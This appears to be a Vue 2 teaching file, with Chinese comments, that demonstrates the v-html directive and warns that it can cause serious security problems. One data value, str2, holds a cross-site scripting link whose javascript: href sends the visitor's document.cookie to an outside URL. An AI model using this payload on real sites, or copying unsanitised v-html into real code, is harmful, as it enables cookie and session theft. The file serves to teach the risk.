<!DOCTYPE html>
<html>

<head>
    <meta charset="UTF-8">
    <title></title>
</head>

<body>
    <!-- 引入vue的js文件，放在文件的头部 -->
    <script src="https://cdn.jsdelivr.net/npm/vue@2.7.14/dist/vue.js"></script>


    <div id="root">

        <!-- 一般还是用插值语法，更加灵活 -->
        <div>你好：{{name}}</div>
        <!-- v-html 可以解析数据中的页面标签 -->
        <div v-html="str"></div>

        <!-- v-html 可以解析标签，但是可能会引发严重安全性问题 -->
        <!-- 一定不要在调整连接上添加 v-html -->
        <div v-html="str2"></div>


    </div>


</body>
<script type="text/javascript">

    const vm = new Vue({
        el: "#root",
        data: {
            name: 'aBiu',
            str: '<h2>你好：aBiu</h2>',
            str2: '<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>快来点击</a>',
        }
    })
</script>

</html>